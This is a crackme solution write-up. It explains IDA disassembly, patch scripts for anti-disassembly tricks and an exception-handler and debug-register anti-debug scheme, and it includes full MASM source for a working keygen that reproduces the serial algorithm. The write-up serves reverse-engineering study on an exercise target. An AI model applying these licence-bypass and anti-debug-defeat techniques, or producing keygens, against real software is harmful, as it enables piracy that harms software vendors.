CODE:00401096 00 7A 23                 add [edx+23h], bh
CODE:00401096 sub_40107C             endp
CODE:00401096
CODE:00401099
CODE:00401099 loc_401099:
CODE:00401099 A0 8B 04 24 EB         mov al, ds:0EB24048Bh
CODE:0040109E 03 7A 29                 add edi, [edx+29h]
CODE:004010A1 E9 C6 00 90 C3         jmp near ptr 0C3D0116Ch

so, what we have here is an unaligned disassembly. Since this will be a
recurring problem throughout this crackme, we can run a script


correct_calls1.idc:

auto a;
auto i;
auto b;
i = 0x401044;
a = 0x00;
b = 0x00;
while(a != 0xffffffff){

a = FindBinary(i, 0x01, "A0 8B 04 24");
if(a != b){
MakeUnkn(a, 0);
PatchByte(a, 0x90);
MakeCode(a+1);
Message("Byte Patched at:%x\n",a);
b = a;
}
i = i+1;
}

We look for the bytes A0 8B 04 24. Why is this? At CODE:0040108C call near ptr loc_401099+1
we're calling a procedure at 401099+1, and at 401099 we have the following bytes:
CODE:00401099 A0 8B 04 24 EB, since 8B is the opcode for call, and A0 is going to be ignored, and since A0 is the opcode for mov, which takes arguments, if we can NOP A0 and tell IDA to "define as code" at 8B, then the disassembly must resemble more closely our program, let's try it by hand:

If we undefine the code at 401099, and then define it at 401099+1 we go from this:
CODE:00401099 A0 8B 04 24 EB  mov     al, ds:0EB24048Bh

to:
CODE:0040109A    loc_40109A:
CODE:0040109A 8B 04 24    mov     eax, [esp]
CODE:0040109D EB 03        jmp     short loc_4010A2

and at loc_4010A2 we can see that the code has become:
CODE:004010A2    loc_4010A2:
CODE:004010A2 C6 00 90    mov     byte ptr [eax], 90h
CODE:004010A5 C3        retn

so, in eax we have the return address (which is 00401091 which is the address right
after our call to 401099+1), and we are NOP'ing the instruction (mov byte ptr [eax], 90h),

so instead of having
CODE:00401091 E8 E8 23 00 00 call    near ptr unk_40347E
as the instruction to which we will return, we will actually have:

CODE:00401092 E8 23 00 00 00                    call    near ptr dword_4010AC+0Eh
CODE:00401097 7A 23                             jp      short near ptr dword_4010AC+10h

since at 401091 we will have a NOP which is a 0 argument instruction and this is why we want to run our second script:

We can run the nop_ret.idc script, so that all the return
addresses from dummy calls appear as NOP'ed


nop_ret.idc:

auto a;
auto i;
auto b;
auto c;
auto failed;

i = 0x401044;
a = 0x00;
b = 0x00;
failed = 0;
while(a != 0xffffffff){

a = FindBinary(i, 0x01, "E8 E8 23");
if(a != b){
MakeUnkn(a, 0);
PatchByte(a, 0x90);
c = MakeCode(a+1);
if(c == 0)
failed = failed + 1;
Message("Byte Patched at:%x with ret = %d\n",a, c);
b = a;
}
i = i+1;
}
Message("%d conversions Failed\n", failed);

this script however, fails in the following addresses,
where I corrected by hand:

addr addr+1 instruction @ addr+1 | word @ call_arg
401091 | 401092 | call near ptr dword_4010AC+0Eh | EBE908EBh
40134f | 401350 | call near ptr dword_401364+14h | DB8B4000h
4017b0 | 4017b1 | call near ptr dword_4017CC+0Dh | F7EBE908h
4018d8 | 4018d9 | call near ptr dword_4018F4+0Dh | F7EBE908h

Ok let's take a look at what happens in 401091, for instance:
After running the script, we have this:
call near ptr dword_4010AC+0Eh
If we go to 4010AC and undefine the code and define the code at
4010AC+E this is what we see:

CODE:004010BA    locret_4010BA:
CODE:004010BA C3    retn

so ... we go back to the return address:
CODE:00401097 7A 23    jp      short near ptr unk_4010BC
we take the jump, and define as code:

CODE:004010BC    loc_4010BC:
CODE:004010BC 7A E9        jp      short near ptr word_4010A6+1
CODE:004010BE    loc_4010BE:                             
CODE:004010BE 70 DA        jo      short sub_40109A
CODE:004010C0 7B D1        jnp     short near ptr loc_401092+1
CODE:004010C2 71 F3        jno     short loc_4010B7

so once again, let's look at 4010A6+1:
(undefine code @ 4010A6, define code at 4010A7)
CODE:004010A7 70 F0                             jo      short near ptr unk_401099
CODE:004010A9 87 D2                             xchg    edx, edx
CODE:004010AB 71 07                             jno     short loc_4010B4

We can automate this process through the following script:

correct_calls2.idc

auto a;
auto i;
auto b;
i = 0x401044;
a = 0x00;
b = 0x00;
while(a != 0xffffffff){

a = FindBinary(i, 0x01, "70 F0 87 D2");
if(a != b){
MakeUnkn(a, 0);
MakeCode(a);
Message("Byte Patched at:%x\n",a);
b = a;
}
i = i+1;
}

So, thus far we have XOR'ed 1200h bytes of data, and set an exception
handler. After stepping through a couple of instructions, we arrive at

CODE:004010CC mov     esi, offset unk_402000
....
CODE:00401114 popa
CODE:00401115 push    4
CODE:00401117 push    1000h
CODE:0040111C push    6000h
CODE:00401121 push    0
CODE:00401123 call    VirtualAlloc
LPVOID WINAPI VirtualAlloc(
__in_opt  LPVOID lpAddress,
__in      SIZE_T dwSize,
__in      DWORD flAllocationType,
__in      DWORD flProtect
);

Reserves or commits a region of pages in the virtual address space of
the calling process. Memory allocated by this function is automatically
initialized to zero, unless MEM_RESET is specified.
6000h bytes of memory are being allocated with AllocationType set to 1000h and flProtect set to 4. From msdn:
flAllocationType = 1000h - Allocates physical storage in memory or in the paging file on disk for the specified reserved memory pages. The function initializes the memory to zero.
flpProtect = 4 - Enables execute, read-only, or read/write access to the committed region of pages

afterwards there is a call to mojo1 CODE:00401133 call mojo1 mojo1 is
responsible to read the previously XOR'ed data, make changes to it, and
write it in the virtualalloc allocated chunck of memory. When mojo1
ends, we have what seems like a PE in the allocated chunck of memory.
and then the memory chunck's contents are written to a file named
DBG.VXD (004011FF)



At
ODE:004012AA   popf                    
CODE:004012AB  popa                    
CODE:004012AC  push    0
CODE:004012AE  push    4000000h
CODE:004012B3  push    0
CODE:004012B5  push    0
CODE:004012B7  push    0
CODE:004012B9  push    0
CODE:004012BB  push    esi
CODE:004012BC  call    CreateFileA     
CODE:004012C1  or      eax, eax        

We check if we can get an handle for the file. If we can't get it, we
can create our window with 004012F7 as our call back function for event
handling.



In our call back function, we're interested in wm_command
CODE:00401318                   case_wm_command:                        
CODE:00401318                 cmp     ax, 111h        
CODE:0040131C                 jnz     short case_WM_INITDIALOG
CODE:0040131E                 jmp     loc_40143C  

CODE:0040143C loc_40143C:                             
CODE:0040143C                 cmp     word ptr [ebp+arg_8], 9 
CODE:00401441                 jz      loc_4014E2      
CODE:00401447                 cmp     word ptr [ebp+arg_8], 3E8h 
CODE:0040144D                 jnz     short loc_401457 
CODE:0040144F                 push    [ebp+hDlg]      
CODE:00401452                 call    call_getDlgItem 
CODE:00401457
CODE:00401457 loc_401457:                             
CODE:00401457                 cmp     word ptr [ebp+arg_8], 3E9h 
CODE:0040145D                 jnz     short loc_401467 
CODE:0040145F                 push    [ebp+hDlg]      
CODE:00401462                 call    call_getDlgItem 
CODE:00401467
CODE:00401467 loc_401467:                             
CODE:00401467                 cmp     [ebp+arg_8], 1  
CODE:0040146B                 jz      short near ptr CHECK_PRESSED 
CODE:0040146D

We can also see that call_getDlgItem is coded as
CODE:00401474 call_getDlgItem proc near               
CODE:00401474                                         
CODE:00401474
CODE:00401474 hDlg            = dword ptr  8
CODE:00401474
CODE:00401474                 enter   0, 0            
CODE:00401478                 push    ebx
CODE:00401479                 push    ecx
CODE:0040147A                 push    edx
CODE:0040147B                 push    28h             
CODE:0040147D                 push    offset String   
CODE:00401482                 push    3E8h            
CODE:00401487                 push    [ebp+hDlg]      
CODE:0040148A                 call    GetDlgItemTextA 
CODE:0040148F                 mov     edi, offset String 
CODE:00401494                 push    28h             
CODE:00401496                 push    (offset String+28h) 
CODE:0040149B                 push    3E9h            
CODE:004014A0                 push    [ebp+hDlg]      
CODE:004014A3                 call    GetDlgItemTextA 
CODE:004014A8                 mov     edi, offset String 
CODE:004014AD                 pop     edx
CODE:004014AE                 pop     ecx
CODE:004014AF                 pop     ebx
CODE:004014B0                 leave                   
CODE:004014B1                 retn    4               
CODE:004014B1 call_getDlgItem endp

which means that basically everytime we type something, it is copied to
String and String+28h, so the first 0x28 bytes of String hold the
username, from String+0x28 until String+0x50 is where the entered serial
resides.

After we've typed username and serial, we will press the Check button,
and we will jump to "CHECK_PRESSED"

CODE:00401467                 cmp     [ebp+arg_8], 1  
CODE:0040146B                 jz      short near ptr CHECK_PRESSED 

CODE:004014DB CHECK_PRESSED db 8Dh 
CODE:004014DC dd 0CBE9C0h
CODE:004014E0 db 2 dup(0)

at CHECK_PRESSED an illegal instruction is going to take place, so we
should set a breakpoint at our exception handler, and analyze what is
going on in there.



The Exception Handler:

CODE:00401017 except_handler:                         
CODE:00401017                 pusha
CODE:00401018                 mov     eax, [esp+20h+arg_0] ; struct _EXCEPTION_RECORD
CODE:0040101C                 mov     ebx, [esp+20h+arg_8] ; struct _CONTEXT
CODE:00401020                 cmp     dword ptr [eax], 0C000001Dh 
CODE:00401026                 jz      short illegal_inst_excp 
CODE:00401028                 cmp     dword ptr [eax], 0C0000005h 
CODE:0040102E                 jz      short access_viol_excp 
CODE:00401030
CODE:00401030 loc_401030:                            
CODE:00401030                                        
CODE:00401030                 popa                   
CODE:00401031                 xor     eax, eax       
CODE:00401033                 retn                   
CODE:00401034 ; ---------------------------------------------------------------------------
CODE:00401034
CODE:00401034 access_viol_excp:                       
CODE:00401034                 lea     esi, [ebx+4]    
CODE:00401037                 mov     ecx, 4
CODE:0040103C
CODE:0040103C loc_40103C:                             
CODE:0040103C                 lodsd                   
CODE:0040103D                 add     dword ptr [esi-4], 12345678h 
CODE:00401044                 add     [ebx+0B0h], eax 
CODE:0040104A                 loop    loc_40103C      
CODE:0040104C                 add     dword ptr [ebx+0B8h], 2 
CODE:00401053                 jmp     short loc_401030 
CODE:00401055 ; ---------------------------------------------------------------------------
CODE:00401055
CODE:00401055 illegal_inst_excp:                      
CODE:00401055                 lea     edi, [ebx+4]    ; debug registers
CODE:00401058                 mov     eax, 0DEADC0DEh
CODE:0040105D                 rol     eax, 1          
CODE:0040105F                 stosd              ; change dr0  
CODE:00401060                 rol     eax, 1          
CODE:00401062                 stosd              ; change dr1     
CODE:00401063                 rol     eax, 1          
CODE:00401065                 stosd              ; change dr2    
CODE:00401066                 rol     eax, 1          
CODE:00401068                 stosd              ; change dr3     
CODE:00401069                 and     eax, 0          
CODE:0040106C                 stosd              ; change dr6 
CODE:0040106D                 add     eax, 155h       
CODE:00401072                 stosd              ; change dr7     
CODE:00401073                 add     dword ptr [ebx+0B8h], 2 ; change _EIP in _context
CODE:0040107A                 jmp     short loc_401030 

So our exception handler starts to check the exception code, and it is
programmed to handle ACCESS_VIOLATION_EXCEPTION's and
ILLEGAL_INSTRUCTION_EXCEPTION's Let's look at what happens, when an
illegal instruction exception is being handled (since an illegal
instruction is what brought us here - this time -): So the debug
registers are being set with constants, and finally we disable hardware
breakpoints by setting debug control register to 0x155. The eip value in
the CONTEXT structure is corrected and the exception handler returns.

After we continue with the execution of the crackme, we arrive at


CODE:00401A7D generate_ascii:                         
CODE:00401A7D pusha                                   
CODE:00401A7E mov     edi, (offset String+50h)
CODE:00401A83 xor     al, al                          
CODE:00401A85
CODE:00401A85 generate_ascii_loop:                   
CODE:00401A85 stosb                                   
CODE:00401A86 inc     al                              
CODE:00401A88 test    al, al                          
CODE:00401A8A jnz     short generate_ascii_loop       
CODE:00401A8C popa                                    
CODE:00401A8D retn    

this procedure stores all numbers from 0 to 0xff in the String, after
the last char of the serial (which has a maximunm of 0x28 chars). Next
the length of the username string is calculated:

CODE:00401682 strlen_username:                        
CODE:00401682 popf                                    
CODE:00401683 popa                                    
CODE:00401684 mov     edi, offset String              
CODE:00401689 repne scasb                             
...

CODE:004016CD mini_mojo4:                             
CODE:004016CD popf                                    
CODE:004016CE popa                                    
CODE:004016CF not     ecx                             
CODE:004016D1 dec     ecx                            ; two's complement -> ecx now holds the correct username's length
CODE:004016D2 cmp     ecx, 3                          
CODE:004016D5 jb      wrong_length    
....

and finally we get to the core of this crackme, the serial generation
procedure:


CODE:00401A8E generate_serial:                        
CODE:00401A8E pusha                                   
CODE:00401A8F xor     eax, eax                        
CODE:00401A91 mov     esi, offset String              
CODE:00401A96 mov     ebx, (offset String+50h)
CODE:00401A9B mov     edi, (offset String+150h)
CODE:00401AA0 pusha                                   
CODE:00401AA1 mov     ecx, 100h
CODE:00401AA6 rep stosb                               
CODE:00401AA8 popa                                    
CODE:00401AA9
CODE:00401AA9 loc_401AA9:                             
CODE:00401AA9 lodsb                                   
CODE:00401AAA mov     edx, ecx                        
CODE:00401AAC imul    edx, eax                        
CODE:00401AAF add     al, dl                          
CODE:00401AB1
CODE:00401AB1 loc_401AB1:                             
CODE:00401AB1                                         
CODE:00401AB1 xor     al, [ebx+ecx]                   
CODE:00401AB4 add     [ebx+ecx*4], cl                 
CODE:00401AB7 xor     [ebx+eax], cl                   
CODE:00401ABA add     al, [ebx+ecx*4]                 
CODE:00401ABD push    edx
CODE:00401ABE xor     edx, edx                        
CODE:00401AC0 mov     edx, [edx]
CODE:00401AC2 pop     edx
CODE:00401AC3 cmp     al, 41h                         
CODE:00401AC5 jb      short loc_401AB1                
CODE:00401AC7 cmp     al, 5Ah                         
CODE:00401AC9 ja      short loc_401AB1                
CODE:00401ACB stosb                                   
CODE:00401ACC loop    loc_401AA9                      
CODE:00401ACE popa                                    
CODE:00401ACF retn    

The general idea is that, the username string is going to be read, each
read byte will be changed according to a certain logic, if the resulting
char is not between 0x41 and 0x5A (meaning it's not between 'A' and 'Z')
the calculations are going to take place again. However ...
CODE:00401ABE xor edx, edx CODE:00401AC0 mov edx, [edx] this implies
that exceptions are going to take place during the algorithm,
specifically, illegal access exceptions, so let's look at what our
exception handler behaviour is as far as these exceptions go:
CODE:00401034 access_viol_excp:                       
CODE:00401034                 lea     esi, [ebx+4]    
CODE:00401037                 mov     ecx, 4
CODE:0040103C
CODE:0040103C loc_40103C:                             
CODE:0040103C                 lodsd                   
CODE:0040103D                 add     dword ptr [esi-4], 12345678h 
CODE:00401044                 add     [ebx+0B0h], eax                 ; adds to CONTEXT's eax the starting value in the debug register
CODE:0040104A                 loop    loc_40103C      
CODE:0040104C                 add     dword ptr [ebx+0B8h], 2 
CODE:00401053                 jmp     short loc_401030 

What is happening is that whatever is written in the current debug
register is read to eax, the value in the debug register is incremented
by 12345678h, and the value of eax in the CONTEXT structure is
incremented with the earlier value in the debug register. This value is
then used in the generate_serial loop. Finally the value of eip in
CONTEXT is incremented by 2 (40104C). Therefore, when we return from the
exception handler, the next instruction may or may not be a valid
instruction, so another exception may be raised, and the values in the
debug registers reset. In order to emulate this behaviour, since it is
non-linear, and I couldn't find a better way to do it, I re-implemented
the algorithm, with the exception handler included to create the keygen.

When this is done, the entered serial is compared against the calculated
serial, and the number of chars that are equal, must be the same as the
username's length.

I didn't see the created file being used for anything appart from the
handle-check mentioned in the solution, that's why I didn't go into much detail about Mojo1.



Related readings:
http://www.scribd.com/doc/6825346/590BypassHardwareBreakpointProtection
http://vx.netlux.org/lib/vsc04.html#p2
http://www.hexblog.com/2005/12/tracing_exception_handlers.html
http://www.microsoft.com/msj/0197/exception/exception.aspx

The keygen:
The keygen base code was take from one of iczelion's tutorials
CONTROLS.ASM:

.386
.model flat,stdcall
option casemap:none
;assume NOTHING


include c:\masm32\include\windows.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\kernel32.inc
include c:\masm32\include\masm32.inc
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\masm32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
Mojo proto :DWORD
GenerateASCII proto
GenerateSerial proto
SetExceptHandler proto
;except_handler proto :EXCEPTION_RECORD,:DWORD,:CONTEXT,:DWORD

.data
ClassName db "SimpleWinClass",0
AppName  db "Our First Window",0
ButtonClassName db "button",0
ButtonText db "My First Button",0
EditClassName db "edit",0
TestString db "Wow! I'm in an edit box now",0
MenuName db "FirstMenu",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndButton HWND ?
hwndEdit1 HWND ?
hwndEdit2 HWND ?

username db 512 dup(?)
serial db 512 dup(?)
bigString db 1024 dup(?)

.const
ButtonID equ 0
EditID1 equ 1
EditID2 equ 2

IDM_HELLO equ 3
IDM_CLEAR equ 4
IDM_GETTEXT equ 5
IDM_EXIT equ 6

.code
except_handler:
pusha
;lea     eax, arg_0
mov eax, ebp
add eax, 8
mov     eax, [eax]
;lea     ebx, arg_8
mov ebx, ebp
add ebx, 16
mov     ebx, [ebx]
cmp     dword ptr [eax], 0C000001Dh     
jz      short illegal_inst_excp         
cmp     dword ptr [eax], 0C0000005h     
jz      short access_viol_excp             

loc_401030:                                             

popa                                    
xor     eax, eax                        
retn                                       
access_viol_excp:                                        
lea     esi, [ebx+4]                     
mov     ecx, 4

loc_40103C:                                             
lodsd                                   
add     dword ptr [esi-4], 12345678h     
add     [ebx+0B0h], eax                 
loop    loc_40103C                      
add     dword ptr [ebx+0B8h], 2         
jmp     short loc_401030                 

illegal_inst_excp:                      
lea     edi, [ebx+4]    
mov     eax, 0DEADC0DEh
rol     eax, 1          
stosd                   
rol     eax, 1          
stosd                   
rol     eax, 1          
stosd                   
rol     eax, 1          
stosd                   
and     eax, 0          
stosd                   
add     eax, 155h       
stosd                   
add     dword ptr [ebx+0B8h], 2 ; change _EIP in _context (4014DB + 2 = 4014DD)
jmp     short loc_401030         


start:
;#####################################
;invoke SetExceptHandler

invoke GetModuleHandle, NULL
mov    hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax
;#####################################

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov   wc.cbSize,SIZEOF WNDCLASSEX
mov   wc.style, CS_HREDRAW or CS_VREDRAW
mov   wc.lpfnWndProc, OFFSET WndProc
mov   wc.cbClsExtra,NULL
mov   wc.cbWndExtra,NULL
push  hInst
pop   wc.hInstance
mov   wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName, OFFSET MenuName
mov   wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov   wc.hIcon,eax
mov   wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov   wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov   hwnd,eax
INVOKE ShowWindow, hwnd,SW_SHOWNORMAL
INVOKE UpdateWindow, hwnd
.WHILE TRUE
INVOKE GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
INVOKE TranslateMessage, ADDR msg
INVOKE DispatchMessage, ADDR msg
.ENDW
mov     eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_CREATE
invoke CreateWindowEx,WS_EX_CLIENTEDGE, ADDR EditClassName,NULL,\
WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT or\
ES_AUTOHSCROLL,\
50,35,200,25,hWnd,EditID1,hInstance,NULL
mov  hwndEdit1,eax
invoke SetFocus, hwndEdit1
invoke CreateWindowEx, WS_EX_CLIENTEDGE, ADDR EditClassName, NULL,\
WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT or\
ES_AUTOHSCROLL,\
50, 70, 200, 25, hWnd, EditID2, hInstance, NULL
mov hwndEdit2, eax
invoke CreateWindowEx,NULL, ADDR ButtonClassName,ADDR ButtonText,\
WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,\
70,100,140,25,hWnd,ButtonID,hInstance,NULL
mov  hwndButton,eax
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_HELLO
invoke SetWindowText,hwndEdit1,ADDR TestString
invoke SendMessage,hwndEdit1,WM_KEYDOWN,VK_END,NULL
.ELSEIF ax==IDM_CLEAR
invoke SetWindowText,hwndEdit1,NULL
.ELSEIF  ax==IDM_GETTEXT
invoke GetWindowText,hwndEdit1,ADDR username,512
invoke MessageBox,NULL,ADDR username,ADDR AppName,MB_OK
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
.IF ax==ButtonID
shr eax,16
.IF ax==BN_CLICKED
invoke GetWindowText,hwndEdit1,ADDR bigString,28h
invoke Mojo, ADDR username
;invoke SetWindowText,hwndEdit2,ADDR serial
invoke SetWindowText,hwndEdit2,ADDR (bigString+150h)
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor    eax,eax
ret
WndProc endp 

Mojo proc text:DWORD
;invoke SetExceptHandler
ASSUME FS:NOTHING

push except_handler
push fs:[0]
mov fs:[0], esp
invoke GenerateASCII
;illegal instruction
db 8Dh
db 0C0h

invoke GenerateSerial

ret
Mojo endp



GenerateASCII proc
mov edi, offset bigString+50h
xor al, al
loop_begin:
stosb
inc al
test al, al
jnz loop_begin
ret
GenerateASCII endp

GenerateSerial proc

pusha                                       
xor     eax, eax                            
mov     esi, offset bigString ; ""
mov     ebx, (offset bigString+50h)
mov     edi, (offset bigString+150h)
pusha                                       
mov     ecx, 100h
rep stosb                                   
popa   
;#####strlen(username)
mov edi, offset bigString
xor eax, eax
or ecx, 0FFFFFFFFh
cld
repne scasb
not ecx
dec ecx
;#####strlen(username)    
mov     edi, (offset bigString+150h)                 

loc_401AA9:                                                 
lodsb                                       
mov     edx, ecx                            
imul    edx, eax                            
add     al, dl                              

loc_401AB1:                                                 

xor     al, [ebx+ecx]                       
add     [ebx+ecx*4], cl                     
xor     [ebx+eax], cl                       
add     al, [ebx+ecx*4]                     
push    edx
xor     edx, edx                            
mov     edx, [edx]
pop     edx
cmp     al, 41h                             
jb      short loc_401AB1                     
cmp     al, 5Ah                             
ja      short loc_401AB1                     
stosb                                       
loop    loc_401AA9                          
popa                                        
retn             
GenerateSerial endp



SetExceptHandler proc
ASSUME FS:NOTHING

push except_handler
push fs:[0]
mov fs:[0], esp
xor eax, eax


retn
SetExceptHandler endp

end start


CONTORLS.RC:
#define IDM_HELLO 3
#define IDM_CLEAR 4
#define IDM_GETTEXT 5
#define IDM_EXIT 6

FirstMenu MENU
{
POPUP "&Test Controls"
{
MENUITEM "Say Hello",IDM_HELLO
MENUITEM "Clear Edit Box",IDM_CLEAR
MENUITEM "Get Text", IDM_GETTEXT
MENUITEM SEPARATOR
MENUITEM "E&xit",IDM_EXIT
}
}
------------------------